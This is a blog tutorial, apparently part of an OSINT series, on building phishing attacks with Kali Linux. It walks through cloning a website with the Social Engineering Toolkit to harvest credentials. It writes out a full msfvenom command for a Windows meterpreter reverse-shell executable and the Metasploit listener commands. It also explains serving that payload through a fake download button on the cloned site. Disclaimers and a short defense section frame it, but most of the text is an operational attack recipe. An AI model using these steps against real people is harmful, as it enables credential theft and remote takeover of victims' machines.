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7 NIGHTS IN THE WORLD OF OSINT WITH KALI LINUX — NIGHT 5

Nina Maelainine

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NIGHT 5 : A DEEP DIVE INTO PHISHING ATTACKS: EXPLORING KALI LINUX TOOLS FOR
ETHICAL HACKING

I’ve spent a lot of time taking down phishing websites — those shady sites that
trick people into giving away personal information. I often track them down
(Late nights — as my mornings are usually too busy with my official work…. )
with simple pop-ups or URL redirects, but after seeing how rampant phishing is,
I got curious about how these attacks are actually made. What tools are used?
How do attackers mimic legitimate websites so convincingly? Today, we’ll dive
into that process using Kali Linux..

TO BE CLEAR, THIS TUTORIAL IS FOR EDUCATIONAL PURPOSES ONLY. PHISHING IS
ILLEGAL, UNETHICAL, AND HARMFUL. WE’RE HERE TO LEARN HOW PHISHING ATTACKS WORK
TO BETTER UNDERSTAND HOW WE CAN PROTECT OURSELVES AND OTHERS FROM FALLING VICTIM
TO THEM. CREATING A PHISHING ATTACK WITHOUT PERMISSION OR FOR MALICIOUS INTENT
IS ILLEGAL AND PUNISHABLE BY LAW. THIS ARTICLE IS ABOUT KNOWLEDGE AND ETHICAL
HACKING. STAY ETHICAL!

Now, let’s get into it and see how attackers craft phishing sites. We’ll use two
well-known tools from the Kali Linux arsenal: the Social Engineering Toolkit
(SET) and MSFVenom for payload creation. These tools are designed for testing
security and helping organizations safeguard against phishing threats. Let’s
explore how to create a mock phishing site — purely for educational testing.

Understanding the Tools: SET and MSFVenom
Before we jump into the actual steps, let’s break down what these tools do:

1. Social Engineering Toolkit (SET): SET is an open-source framework designed
specifically for simulating social engineering attacks. It allows ethical
hackers to create phishing websites, conduct spear-phishing campaigns, and
even craft payloads to exploit vulnerabilities.

2.MSFVenom: This tool is part of the Metasploit Framework and is used to
generate malicious payloads — programs that can execute remote code, open
reverse shells, or escalate privileges when run on a victim’s machine.

The combination of these two tools can be lethal in the wrong hands, but in the
context of ethical hacking, they are invaluable for demonstrating how phishing
attacks work and for training security professionals.

STEP 1: LAUNCHING THE SOCIAL ENGINEERING TOOLKIT (SET)

We’ll begin by setting up our phishing website using SET. This tool makes it
incredibly easy to clone a website and capture user credentials.

1. Launch SET: On Kali Linux, open the terminal and type sudo setoolkit. It
will require root privileges to run, so you’ll need to enter your password.
2. Website Attack Vectors: Choose the “Website Attack Vectors” (Option 2). This
enables you to clone legitimate websites and harvest credentials entered by
unsuspecting users.

Credential Harvester Attack Method: In the next menu, select “Credential
Harvester Attack Method ” (Option 3). This method is key to capturing usernames
and passwords that are entered on the fake site.

STEP 2: CLONING A WEBSITE WITH SET

Now, it’s time to use SET’s Site Cloner feature to make a fake version of a
legitimate website.

1. Clone the Target Website: Select “Site Cloner” (Option 2) from the
Credential Harvester menu. Then, input the URL of the site you want to
clone. For educational purposes, make sure it’s a harmless or test website
that you have permission to use.

1. Setup on Localhost: Once SET clones the website, it sets up the phishing
page on your local machine. You’ll get an address like http://your-local-ip.
Any credentials entered here will be logged in your terminal in real-time.
2. Capture Credentials: When the victim inputs their username and password,
you’ll see it immediately logged on your terminal.

STEP 3: PAYLOAD CREATION WITH MSFVENOM

In addition to stealing credentials, attackers can deliver malicious payloads
using phishing websites. MSFVenom helps create those payloads, like reverse
shells or backdoors.

1. Generate a Payload: Let’s create a Windows reverse shell. Open a new
terminal and run:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<your-IP> LPORT=4444 -f exe > payload.exe

1. This command generates a Windows executable (payload.exe) that opens a
reverse shell back to your machine.
2. Set Up a Listener: You’ll need to set up a listener to receive the reverse
shell when the payload is executed. Start Metasploit with msfconsole, then
configure it:

use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST <your-IP> set LPORT 4444 exploit

Now, you’re ready to catch the connection when the victim(not the real victim …)
executes the malicious file.

STEP 4: COMBINING SET AND MSFVENOM FOR AN ETHICAL PHISHING SIMULATION

Now, let’s combine SET and MSFVenom to simulate a phishing attack in a
controlled environment.

1. Embed the Payload: Add a link to the cloned website that triggers the
download of the payload. For example, create a fake “Download Now” button
that serves payload.exe generated with MSFVenom.
2. Testing the Attack: Direct a test subject (who has given explicit
permission) to visit the cloned website. Once they enter their credentials,
SET captures them. If they download and run the payload, you’ll get a
reverse shell back to your machine via Metasploit.
3. Real-Time Attack Flow:

* The user visits your cloned page.
* Their credentials are harvested by SET.
* They download and run payload.exe, giving you remote access to their system.

This process mirrors how real phishing attacks unfold, but in a safe, ethical
environment for learning.

STEP 5: STAYING ETHICAL AND LEGAL

While it’s fascinating to see how easily phishing attacks can be set up, it’s
critical to stay within legal and ethical boundaries. Never perform these
actions without explicit permission. Misuse of these tools is illegal and
punishable by law.

HOW TO DEFEND AGAINST PHISHING ATTACKS

Now that we’ve covered how phishing works, let’s talk about defense strategies:

1. User Awareness: Education is the best defense. Train people to recognize
phishing attempts, suspicious emails, and fake websites.
2. Two-Factor Authentication (2FA): 2FA adds an additional security layer,
making it much harder for attackers to gain access even if credentials are
stolen.
3. Email Filters: Strong email filtering systems can help block phishing emails
before they even reach users.
4. SSL/TLS Verification: Encourage users to check for HTTPS encryption and
valid SSL certificates before entering sensitive information.
5. Regular Phishing Simulations: Many organizations use phishing simulations to
raise awareness and measure the effectiveness of their defenses.

So, there you have it — unpacking the tricks behind phishing attacks not only
helps us shield ourselves but also reminds us why staying on the right side of
the ethical line is crucial. Remember, the goal is to learn and protect, not to
cause harm. With these new insights, we’re just scratching the surface of OSINT
adventures. Join me tomorrow night . Stay sharp and see you then!

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Kali Linux
Phishing
Osint Investigation
Osint

WRITTEN BY NINA MAELAININE

164 Followers

OSINT pro | Uncovering digital insights and trends

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